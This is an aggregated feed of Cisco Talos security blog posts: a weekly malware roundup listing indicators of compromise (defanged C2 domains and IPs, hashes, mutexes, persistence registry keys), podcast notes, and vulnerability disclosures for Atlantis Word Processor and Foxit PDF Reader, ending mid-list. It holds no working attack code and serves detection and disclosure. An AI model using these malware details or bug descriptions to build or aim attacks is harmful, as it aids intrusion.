8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f
275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed
b700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44
2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75
1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b
3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1
620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80
4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c
d92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475
30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f

Coverage


The following new coverage has been developed to detect additional modules used by VPNFilter

New Snort for ndbr:

sid:1:47377:1

New Clam AV:

Unix.Trojan.Vpnfilter_htpx-6596262-0
Unix.Trojan.Vpnfilter_ndbr-6598711-0
Unix.Trojan.Vpnfilter_netfilter-6599563-0
Unix.Trojan.Vpnfilter_nm-6598714-0
Unix.Trojan.Vpnfilter_portforwarding-6599587-0
Unix.Trojan.Vpnfilter_socks5proxy-6599614-0
Unix.Trojan.Vpnfilter_tcpvpn-6606298-0

Updated Clam AV:

The following ClamAV signatures were updated to improve detection of additional Stage 1 and Stage 2 modules used by VPNFilter:

Unix.Trojan.Vpnfilter-6425812-1
Unix.Trojan.Vpnfilter-6550592-1

Threat Roundup Sept 21 - 28

$
0
0

Today, as we do every week, Talos is giving you a glimpse into the most prevalent threats we’ve observed this week — covering the dates between Sept. 21 and 28. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, we will summarize the threats we’ve observed by highlighting key behavioral characteristics and indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

The most prevalent threats highlighted in this roundup are:

  • Doc.Downloader.Powload-6697736-0
    Downloader
    Powload is a malicious document that uses PowerShell to download malware. This campaign is currently distributing the Emotet banking trojan.
     
  • Doc.Malware.Sagent-6697297-0
    Malware
    Sagent downloads and executes a binary using PowerShell from a Microsoft Word document.
     
  • Win.Malware.Tspy-6698228-0
    Malware
    The Tspy trojan is used to steal sensitive information, such as banking credentials, and installs a remote-access backdoor.
     
  • Win.Ransomware.Gandcrab5-6697262-1
    Ransomware
    Gandcrab V5.0 is the latest version of the ransomware family that encrypts documents, photos, databases and other important files.
     
  • Win.Trojan.Razy-6697101-0
    Trojan
    Razy is oftentimes a generic detection name for a Windows trojan. Although more recent cases have found that it attributed to ransomware that uses the .razy file extension when writing encrypted files to disk — these samples are the former case. They collect sensitive information from the infected host, format and encrypt the data, and send it to a command and control (C2) server.
     
  • Win.Malware.Ursu-6696608-0
    Malware
    Ursu is a generic malware that has many functionalities. It contacts and C2 server and performs code injection in the address space of legitimate processes. It is able to achieve persistence, as well, and seeks to collect confidential information. It is spread via email.
     
  • Win.Virus.Sality-6696580-0
    Virus
    Sality is a file infector that establishes a peer-to-peer botnet. Although it's been prevalent for more than a decade, we continue to see new samples that require marginal attention in order to remain consistent with detection. The end goal is to execute a downloader component capable of executing additional malware after a Sality client compromises perimeter security.
     

Threats

Doc.Downloader.Powload-6697736-0


Indicators of Compromise


Registry Keys
  • N/A
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 190[.]147[.]53[.]140
  • 81[.]177[.]139[.]193
Domain Names contacted by malware. Does not indicate maliciousness.
  • stalfond-n[.]ru
Files and or directories created
  • %UserProfile%\692.exe
  • %LocalAppData%\Temp\02rp2yuh.rgu.ps1
  • %LocalAppData%\Temp\bsiltcdz.yqo.psm1
File Hashes
  • 011fd5d669884b2770c80a0427417418e0d1807132924c323ae951d09fca0806
  • 0daef21240d620d0560a464273ef4d6ddffb954d555e123d21daa38ecf97ab71
  • 3764038477dc8bbe6c588bae1c0c3856b7cf392fe8df04eb98673f5f7fbc0bd6
  • 6298261a5ccb038673a2ebb1a10bc242440c23b6b99c70a480ad91f2b7fc2d9f
  • 6dd09f3c6a26e8b2225a86b8e941d6283dad33603dc5ec6a0c4ed80162da5d3c
  • 7030b39dcbf2498dd38e9980769bf8a52e517d6330917c22b1a0a55aa7199fd1
  • 8eb4e3317dfad2c94e3c1f3c1267635aaf1c0202738948b80bf012398942377f
  • 9541ab72a2fe2bef02fa0c1d288357719c445c1eb82fcb5d2ee3c59b47238c5b
  • a77778354f829c8674431fa6a2a1a36f6989537e25ac8823117cfbfb5a14564f
  • b5aeb7cd38f02215471aac4960d29342d9e75c1a188a79d5c635f1e4943e0451
  • c13a146928c2d0b87c44283aa7c06483039b149c6e93618dbffdc4e1c1695dd6
  • e7bd379dd6bd70b10ed492642db1f9a26cf44c0928b101208421e9e6863c98a7
  • f349dcd66a084e8b9b503b274d9128d22931497b78675b8e8ab424977db22275

Coverage


Screenshots of Detection

AMP



ThreatGrid



Doc.Malware.Sagent-6697297-0


Indicators of Compromise


Registry Keys
  • N/A
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 172[.]106[.]32[.]205
  • 192[.]48[.]88[.]236
  • 192[.]48[.]88[.]5
Domain Names contacted by malware. Does not indicate maliciousness.
  • owieoqkxkals[.]com
  • iwoqiwuqoeuowei[.]com
Files and or directories created
  • %AppData%\39281.exe
  • %LocalAppData%\Temp\vp33msdr.cx4.psm1
  • %LocalAppData%\Temp\w5lg3lem.ise.ps1
  • %LocalAppData%\Temp\tfkiykcl.c4i.psm1
  • %LocalAppData%\Temp\xjkqhrqd.vw5.ps1
  • %AppData%\32089115502559.exe.exe
File Hashes
  • 00c949029e29b4f0222846e9a40f4160ab2f4920dd5f8fe77ce617543f7ce6b2
  • 010d7399d9cda5b1d4f351d81d6bd4a1ec7ea87b17f869f93ca6372b5350360f
  • 01b4fa260b4d29a687bb7bb428b58c898d1882b05de199f17390d83c1936918a
  • 04c4c5b10bb23c21ad187eb45b94c064960be5c94a097bfe46be804f33c4355a
  • 04e9882cea77d5613a36d6e2f8e22d32188242e8ba76adaf04ddc4258c519145
  • 0883677c6d3c749d06834f8c39567cfb0a2df4f1ec92aebc7935c9dfc0b1dcb8
  • 09b8d49329d695fa757f6019177ce64a0c3714ac0f5c24fd8133360b8a9e4f54
  • 13d5fb27fb148f038c8373b16a35bed7e87c282c5920480406d71310356c9721
  • 16380e6168e31a0098a70f629c0d5a1ade9f3230b322ec4a358fd85cf6bffd56
  • 16555b75a521b0903484f0d3f4f6359b7509601f75172bc7be7d8bf950d03729
  • 1b355a43396766838fb28181a989d9537b088ecc259218cfc72cdd3e2f6c6307
  • 1c45152a5b9bd58507201b553f9e37fd70dc2d801ad979150b55ed99fc5a9fbd
  • 1cc91a7cbfabb4f9ffad1cee71e634d3d484d8b60d7a3f89961a1a6354b8e5ab
  • 25b408184567aa32716d67b542bfd51bc66f665d5d0a5bdb34946eefe1dddfa3
  • 315fbd4598e7c9cdfed8b1035edd49d7c8b84a02687ff7722b94febfdc2a62a1
  • 3213877a8ca57ae183aa3ba925bede665cd51ff9394944cbaff7f7910b83561d
  • 3218afccd21656fefb2cebaedff13cd95b22cee4163f51a3189280cc7b342f45
  • 391797762b247bdcf2d00431c18655b3ed5c56e3dca484e3da6ac3d7d5a17426
  • 3b2c998477788cbe3e2a8b562ca9bcaaf99bf34173946eb35d982b0791818c4d
  • 3b540e0d41baa0cae3ed5c2cde1fdf3973332ae22d5a37c90b804cc8acdb7d2f
  • 410176eebc6ad926d379a05a0797ffe79d2b1eb2277e2a0178215eb7b759b32e
  • 419396e33483bc3c538d2cb26837871abacedc886d72d46298054ff243ccc429
  • 42f968acaea98c5b06aa3a35a2e70d9b170ea9e9c1c043a41be536b26f30ee62
  • 4643c3cdfc6c2e479b2fdfa3662932d627c335e6fed94dfbc601f775880a9e88
  • 48fb581864c03d49fc1a51f58e73bdbfb4ddb2b9d7f5ccbe2c08af1b6bc38bb4

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella



Win.Malware.Tspy-6698228-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: internat.exe
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: MyOtApp
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 216[.]146[.]38[.]70
Domain Names contacted by malware. Does not indicate maliciousness.
  • checkip[.]dyndns[.]org
Files and or directories created
  • %AppData%\MyOtApp
  • %AppData%\MyOtApp\MyOtApp.exe
File Hashes
  • 08d6bf7a2e121cb3f42c5da6dd8675c494eda1bff1846609690f4c938fbe261c
  • 13b777c7fae7df5e6d97ee5a0c1c15c863bcfe7de4aa03a48379a27b3bd7b755
  • 2602400c743bcf09a1f2c4a9f313f54c4c27e46c29cefb211c7a15c4aa769ad0
  • 2ec84185946db48799de6a71dfe036c25d9bf7cbef8e7f37c125da467d7c1262
  • 2f7e7ed4974db01250d17e09caf9c3725aba7318acb835cfec1238c6df242d0d
  • 35174fabe3bcb8510cd6492238f67e632b8d4be1f80b221275772d7ecadb6435
  • 39733dd17e8ba00a486f8dea9c39ca5aaee050f4f3cef792b792a547d3b1c8bb
  • 47ff0e1ac6d99e1d3809267d6d6db6dd39ce3c42f1315a701cef340bc99f6559
  • 4e45d72f9846ecd10586241de4e47248d7bfe2fa9577bad4b1265db406574d83
  • 62e94bc8400153e5927a52f14c997782acf705eac748d176cda197767751fd4a
  • 6ccf99e260f9a2b3115fa228c1ef909b612d05f1922aa148ef21646757a08bf0
  • 6d9a7acb5f5d21ba333a56bdb1d3db19b61833ddcb6f28706ec6f4f48904d1f1
  • 6f94d32cf71a60105bc0d7ababa784930805a435f58f8acc5147394373cdd961
  • 991c3f32a3be04f65767befb063f4250b0dc7f7a68dd08375ef2792a78578b61
  • a60b6009eae0d1106c9206467fd2ab1f4085c3af042326f2866c0b83124c4426
  • af5bf956991e77162cb826f1c82f72eb608bfca26b9a7359bb05a9eb24558ad0
  • b59f4e2a60f33c618b232dfaab4c40f1d617fd3f281c70707d72787cf1c150e4
  • b784c5b241865ac9677926b37e52fad5b866e8a0fe55c55de100f2b4133e7228
  • e3935ad630e9d4c7aafd5b4aee9f8a052d1279d2587742d92dc935370a02ff2d
  • e7ac6050674af628fd893f0b11c70af20ba529b9406bcd96efc9c32f6b172767
  • e9069351d7bf92c3279930bd25a4c4d88db541da2211faea7acd3a84e613fb0e
  • fa28d5c8403cf180d4e15acd33feecda62f25ae7c4fad3ae145e07003c6d0f0f
  • fe80093fff73e7031c2350baac2bb24131687afcba327762350eb1d37d55b9d5

Coverage


Screenshots of Detection

ThreatGrid



Win.Ransomware.Gandcrab5-6697262-1


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\KEYS_DATA\DATA
    • Value Name: public
  • <HKCU>\SOFTWARE\KEYS_DATA\DATA
    • Value Name: private
Mutexes
  • Global\8B5BAAB9E36E4507C5F5.lock
  • Global\XlAKFoxSKGOfSGOoSFOOFNOLPE
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 93[.]125[.]99[.]121
  • 94[.]231[.]109[.]239
  • 87[.]236[.]16[.]31
  • 89[.]252[.]187[.]72
  • 87[.]236[.]16[.]29
  • 94[.]73[.]148[.]18
  • 87[.]236[.]19[.]135
  • 92[.]53[.]96[.]201
  • 95[.]213[.]173[.]173
  • 87[.]236[.]16[.]208
Domain Names contacted by malware. Does not indicate maliciousness.
  • zaeba[.]co[.]uk
  • ZAEBA[.]CO[.]UK
  • www[.]wash-wear[.]com
  • yourmine[.]ru
  • www[.]poketeg[.]com
Files and or directories created
  • %UserProfile%\Desktop\ASZNJ-DECRYPT.html
  • \PerfLogs\ASZNJ-DECRYPT.html
  • \Recovery\ASZNJ-DECRYPT.html
  • \TEMP\ASZNJ-DECRYPT.html
File Hashes
  • 0f929521a468c4998256c074b5f5b3db085e0e8a200672a7ec18c8d626f41e88
  • 241c85b8452824030096aa18d04ee84e464a44fa116ff0212d47c5f17f4fc259
  • 3f46a274979208f967357bc2fe776b38cef0f39578299070f029cf492f394cde
  • 644f43f1a6c55695a1616265cc8bd701c0f1447ac334ab61bec61de64bfb6622
  • 68c0f0aab240c1cea01c5c7c3ec9f2cb9ae65136127e1b889542ad176b259172
  • 6f559120f36b4699ed3f3668bac0b699efb1f8623bf511256f82bfd5b0c9ee9c
  • 77dd53de29eac87ade3ff7a7fca47d3a8906feebd70876b23b220a6a61806765
  • 85822d86e64e4d677b83662b44140c7e70ff80ed7e255b39de579bb18e54e858
  • 8b8e36cca05ccdf78d60ea71be4d75f4b077dd729237420a78ac6c5442bd3263
  • 8cc12fff598c2e32e04cc72198a5c39c2b1cebe1e343ff15ed5b069056f040b9
  • 919c39d2c2494b9f275496d3b77c99c439b0a87e4ec200165fcdbc6fcade3a12
  • aec69b1f8630db4fd1ca605319cf1b6186c33640f06c4fb6e97a8ebb69652caa

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella



Win.Trojan.Razy-6697101-0


Indicators of Compromise


Registry Keys
  • N/A
Mutexes
  • 3749282D282E1E80C56CAE5A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 91[.]234[.]99[.]41
Domain Names contacted by malware. Does not indicate maliciousness.
  • mazeedkyabar[.]com
Files and or directories created
  • %AppData%\D282E1\1E80C5.lck
  • \PC*\MAILSLOT\NET\NETLOGON
File Hashes
  • 0ce54c69a1bccd215380f3b4de8691264dd44e70688ed0ac6d0bf81f1e9eeb40
  • 10f32f95f44868f70681a2333ad6a6c9a5abb65733b7534a2b223e09a7138d99
  • 14df5201043d4c810c732ed7acf517c41d5e3591a689bbb0d27c2b4fcb426afd
  • 4ba2236755c18e45f720170deca60c17bcdae837a921b210e5e9e5493be3dc22
  • 78372b53ba801d6de3d9a8a0cccf8b52d2b37853bb562092c296064f9284f7f5
  • a5d264aac354f4f95b0338e81ed51d655fe98983134e10666f58a78b2f766c62
  • aa81268a74a3521e5a52c697e161bee84137fd96d2f7b13a0f2d0e541fe418fb
  • b4b56cb72d176a8bfb23b7254d7702a4ec6efc8ed6663256699805b53df116e5
  • c55b8a161364c3326dfa6c70274f1290c839add21a43e86b4b5d13728fb034ea
  • dc71f3c1600d0ff268db18a77d7a11d23ee48e4167ec65589656369922217fec
  • dd10835ba1d74e1d5700b2ab547f57cee0203033f0b6db35afeeb71f5b3ffa50

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella



Win.Malware.Ursu-6696608-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: internat.exe
  • <HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
    • Value Name: Windows Update
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness.
  • N/A
Domain Names contacted by malware. Does not indicate maliciousness.
  • smtp[.]zoho[.]com
  • whatismyipaddress[.]com
Files and or directories created
  • %AppData%\WindowsUpdate.exe
  • %LocalAppData%\Temp\holderwb.txt
  • %AppData%\pid.txt
  • %AppData%\pidloc.txt
  • %LocalAppData%\Temp\holdermail.txt
File Hashes
  • 0296041fc0f243e34ca6c827c2085d9061301eb703769e2eac17c7962994d701
  • 123adc0c7eebe5d9ad13f2d7097f5b6be248cd33e0c52158bdf5ce6b934b8c4f
  • 12d7e1038baa1825cfe9ae38cc70ad4ce72952ff00460c7e633fb690c27d91ca
  • 3eb7a917c937f7068b4cb71585f828fa24a619dce7ee6dd907a84fe26e78bbcb
  • 50158998d1c51e90b6380f7d4b5eef27572cc3d1ea864cedf91f20f5aaf6ea2c
  • 581f3d139547523a5ab8a16c6403bb1319a19d81bb908098bf89f7c38d80bb79
  • 8bde6d65663cac076b7cec03fc444e3c19ae8c9a7d2849094a2103d1e9187e98
  • 991bf6843f78bd0c67380fe07d78d5c97405a49a1a7ed42b13f9456a80ae8f28
  • 99c7733e5328fe2d77526e1f3a09400425078ae4035883aaa965f6e5752a2668
  • 9dd5cfe5160e7d757d631b832643f83b66caf5c7c44f21391add4ce8692510b6
  • aab0dc518c4eae880bf148805b23493d73d7164f0970655d4159e1ca7bac009d
  • b209df425de16a8fade136f2e3de9cd8c5ba6729cd47144ced562fae0273a753
  • cbabc1094d0f2f1a45477ee3cfc91425384d10a546e4a54f9aa260d47c704d0d
  • cc84984c43abe66d1bf1d93ecabaae132cc61e40998751e1c34b9d485565b05c
  • e7627baacd38980106dbbdef4f3525c8af7452554373c56eb484d1414f84b74f

Coverage


Screenshots of Detection

AMP



ThreatGrid



Win.Virus.Sality-6696580-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\AASPPAPMMXKVS\-993627007
    • Value Name: 1768776769
  • <HKCU>\SOFTWARE\AASPPAPMMXKVS
    • Value Name: A1_0
Mutexes
  • DBWinMutex
  • csrss.exeM_284_
  • csrss.exeM_328_
  • dwm.exeM_288_
  • explorer.exeM_1060_
  • lsass.exeM_428_
  • lsm.exeM_436_
  • services.exeM_412_
  • smss.exeM_204_
  • spoolsv.exeM_1044_
  • svchost.exeM_840_
  • taskhost.exeM_1140_
  • uxJLpe1m
  • wininit.exeM_320_
  • winlogon.exeM_356_
  • wudfhost.exeM_1644_
  • 3c419d67f98c8fd495eff616bb94d3e5de8c22d34b94124e1f3f0cfec8f3566M_1932_
  • dllhost.exeM_1376_
  • wmiprvse.exeM_1456_
IP Addresses contacted by malware. Does not indicate maliciousness.
  • 195[.]22[.]26[.]248
  • 206[.]189[.]61[.]126
  • 64[.]29[.]151[.]221
  • 63[.]249[.]150[.]76
  • 23[.]253[.]126[.]58
  • 195[.]38[.]137[.]100
Domain Names contacted by malware. Does not indicate maliciousness.
  • www[.]akpartisariveliler[.]com
  • tn69abi[.]com
  • abb[.]ind[.]in
  • www[.]3pindia[.]in
  • 1s2qvh91x[.]site[.]aplus[.]net
  • gim8[.]pl
  • acemoglusucuklari[.]com[.]tr
  • a-bring[.]com
  • aci[.]gratix[.]com[.]br
  • aclassalerts[.]com
Files and or directories created
  • \??\E:\autorun.inf
  • %SystemDrive%\autorun.inf
  • %LocalAppData%\Temp\fdqr.exe
  • %LocalAppData%\Temp\winarxu.exe
  • %LocalAppData%\Temp\winopfmni.exe
  • %LocalAppData%\Temp\winpwho.exe
  • %LocalAppData%\Temp\winyunh.exe
  • %SystemDrive%\xwouo.pif
  • \??\E:\vrbf.pif
  • \vrbf.pif
  • \xwouo.pif
File Hashes
  • 0bcbac5dff686bb605adadb225fa540aab73bb3fb3251ba4226eb071cac6f0f1
  • 0cdb71323cdf0ab4ec462f74b3830b87ae8d8212f6bfdb427ec12c06cc524220
  • 14cbde97cb6d3df9841c8251884b664f689514d2ea8fa813fc95b323dd7ef8dd
  • 3c419d67f98c8fd495eff616bb94d3e5de8c22d34b94124e1f3f0cfec8f3566d
  • 3dac8250c89686244d433a9739bd59e719af950b60659d93e34b8b17cd72d0c4
  • 7c544889d588ae668f13ff9e05eabc9ea048fa026b3a5af4882de10da8f8640c
  • 7dc3fc8b4a572c0980b9de6ffc716fa422f627f48f8fcbc1720604e226346dff
  • 919668829270d79de177615abf848bc09be41afd1877ef6682f8f0bbd3096880
  • b57206a74a8dbce03e991a5855c8c16aac2bffea69da9ebbc64c39932d886ec5
  • bd12db3c5dcc16b35cbb3cd42bbf9719ac8e69da6449c32659fc2a066d42265e
  • c85d9321a025a39c5b6facb12dd663b9623a4f43a73e2be409e9e3d04f132d4c
  • ea5e7e60a45331e504dcb30b29f6d9c7d438fb343aa2ae897047369b6863d712
  • f6efc4a323520ba88ccb8f678f3c9167010c6c575afcd8225393bc0f664fc96b

Coverage


Screenshots of Detection

AMP



ThreatGrid



Umbrella



Beers with Talos Ep. #38 — More fun with VPNFilter; Getting pwnd via spreadsheet

$
0
0


Beers with Talos (BWT) Podcast Ep. #38 is now available. Download this episode and subscribe to Beers with Talos:

If iTunes and Google Play aren't your thing, click here.

Ep. #38 show notes: 

Recorded Sept. 21, 2018 — The whole crew is back together! On the agenda today is VPNFilter part III, now with more known third-stage payloads. As much as we have talked about multi-part posts, you know we wouldn’t post if it wasn’t important (on the blog, that is. That rule obviously doesn’t apply here). We are also releasing a related open-source tool: Winbox Protocol Dissector. Finally, we delve into an antivirus-avoiding remote access tool (RAT).

The timeline:

The topics

01:20 — Roundtable: Matt’s stories, Craig breaks things and himself, you know… the usual.
11:25 — VPNFilter 3: New research unearths a new batch of third-stage modules.
26:18 — Defense in depth, jump off from an antivirus-avoiding DDE malware.
33:40 — Closing thoughts and parting shots.

The links


==========

Featuring: Craig Williams (@Security_Craig), Joel Esler (@JoelEsler), Matt Olney (@kpyke) and Nigel Houghton (@EnglishLFC).
Hosted by Mitch Neff (@MitchNeff).
Find all episodes here.

Subscribe via iTunes (and leave a review!)

Check out the Talos Threat Research Blog

Subscribe to the Threat Source newsletter

Follow Talos on Twitter

Give us your feedback and suggestions for topics:
beerswithtalos@cisco.com

Vulnerability Spotlight: Multiple vulnerabilities in Atlantis Word Processor

$
0
0
Vulnerabilities discovered by Cory Duplantis and Ali Rizvi-Santiago of Cisco Talos.


Overview


Cisco Talos is disclosing several vulnerabilities discovered in Atlantis Word Processor. Atlantis Word Processor is a portable word processor that is also capable of converting any TXT, RTF, ODT, DOC, WRI, or DOCX document into an eBook in the ePub format.

TALOS-2018-0641 - Atlantis Word Processor Uninitialized TDocOleObject Code Execution Vulnerability (CVE-2018-3975)


An exploitable uninitialized variable vulnerability exists in the RTF-parsing functionality of Atlantis Word Processor. A specially crafted RTF can leverage an uninitialized stack address, resulting in an out-of-bounds write. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.0.2.3, 3.0.2.5

TALOS-2018-0646 - Atlantis Word Processor Word Document Complex Piece Descriptor Table Fc.Compressed Code Execution Vulnerability (CVE-2018-3978)


An exploitable out-of-bounds write vulnerability exists in the Word Document parser of Atlantis Word Processor. A specially crafted document can cause Atlantis to write a value outside the bounds of a heap allocation, resulting in a buffer overflow. An attacker must convince a victim to open a specially crafted, malicious document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.2.6

TALOS-2018-0650 - Atlantis Word Processor Word Document Endnote Reference Code Execution Vulnerability (CVE-2018-3982)


An exploitable arbitrary write vulnerability exists in the Word Document parser of Atlantis Word Processor. A specially crafted document can cause Atlantis to skip the addition of elements to an array that is indexed by a loop. When reading from this array, the application will use an out-of-bounds index, which can result in arbitrary data being read as a pointer. Later, when the application attempts to write to said pointer, an arbitrary write will occur. This can allow an attacker to further corrupt memory and execute code under the context of the application. An attacker must convince a victim to open a malicious document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.0.2.3, 3.0.2.5

TALOS-2018-0651 - Atlantis Word Processor Empty TTableRow TList Code Execution Vulnerability (CVE-2018-3983)


An exploitable near-null write vulnerability exists in the Word Document parser of Atlantis Word Processor. A specially crafted document can cause an array to fetch a NULL pointer and then performs some arithmetic before writing a value to the result. Due to the application using the null pointer, there is arithmetic that can result in the pointer being larger than a few pages. This can corrupt heap memory, resulting in code execution under the context of the application. An attacker must convince a victim to open a document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.0.2.3, 3.0.2.5

TALOS-2018-0652 - Atlantis Word Processor Word Document Paragraph Property (0xD608) sprmTDefTable Uninitialized Length Code Execution Vulnerability (CVE-2018-3984)


An exploitable uninitialized length vulnerability exists within the Word Document parser of Atlantis Word Processor. A specially crafted document can cause Atlantis to skip initializing a value representing the number of columns of a table. Later, the application will use this as a length within a loop that will write to a pointer on the heap. A buffer overflow will occur due to this value being controlled, which can lead to code execution under the context of the application. An attacker must convince a victim to open a document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.0.2.3, 3.0.2.5

TALOS-2018-0666 - Atlantis Word Processor Windows Enhanced Metafile Code Execution Vulnerability (CVE-2018-3998)


An exploitable heap-based buffer overflow vulnerability exists in the Windows Enhanced Metafile parser of Atlantis Word Processor. A specially crafted image embedded within a document can cause an undersized allocation, resulting in an overflow when the application tries to read data into it. An attacker must convince a victim to open a malicious document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.2.5.0

TALOS-2018-0667 - Atlantis Word Processor JPEG Length Underflow Code Execution Vulnerability (CVE-2018-3999)


An exploitable heap-based buffer overflow vulnerability exists in the JPEG parser of Atlantis Word Processor. A specially crafted image embedded within a document can cause a length to be underflowed, which is then treated as unsigned. Later, when using this length in a copying operation, the application will write outside the bounds of a heap-buffer resulting in a buffer overflow. An attacker must convince a victim to open a malicious document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.2.5.0

TALOS-2018-0668 - Atlantis Word Processor Office Open XML TTableRow Double Free Code Execution Vulnerability (CVE-2018-4000)


An exploitable double-free vulnerability exists in the Office Open XML parser of Atlantis Word Processor. A specially crafted document can cause a TTableRow instance to be referenced twice, resulting in a double-free vulnerability when both the references go out of scope. An attacker must convince a victim to open a malicious document in order to trigger this vulnerability. Detailed vulnerability information can be found here.

Tested versions: Atlantis Word Processor 3.2.5.0


Coverage


The following Snort rules will detect exploitation attempts. Note that additional rules may be released at a future date, and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules: 47403 - 47412, 47456 - 47457, 47527 - 47528, 47523 - 47524, 47521 - 47522, 47758 - 47760, 47755 - 47756, 47762 - 47763

Vulnerability Spotlight: Multiple Issues in Foxit PDF Reader

$
0
0

Vulnerabilities discovered by Aleksandar Nikolic of Cisco Talos

Overview


Cisco Talos is disclosing eightteen vulnerabilities in Foxit PDF Reader, a popular free program for viewing, creating and editing PDF documents. It is commonly used as an alternative to Adobe Acrobat Reader and has a widely used browser plugin.



Details

 

TALOS-2018-0607


TALOS-2018-0607 / CVE-2018-3940 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees numerous of used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'removeDataObject' method of the active document, resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack, including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0608


TALOS-2018-0608 / CVE-2018-3941 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees numerous used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'getNthFieldName' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0609


TALOS-2018-0609 / CVE-2018-3942 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees numerous of used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'getPageRotation' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack, including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0610


TALOS-2018-0610 / CVE-2018-3943 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees many used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'getPageBox' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0611


TALOS-2018-0611 / CVE-2018-3944 is an exploitable use-after-free vulnerability found in the JavaScript engine that can result in remote code execution. As a feature-rich PDF reader, Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code, a document can be closed, which frees several used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the 'JSON.Stringify' method of the active document resulting in arbitrary code execution.

There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a specially crafted, malicious PDF or, if the browser plugin is enabled, the user could trigger the exploit by viewing the document in a web browser. Full details of the vulnerability can be found here.


TALOS-2018-0612


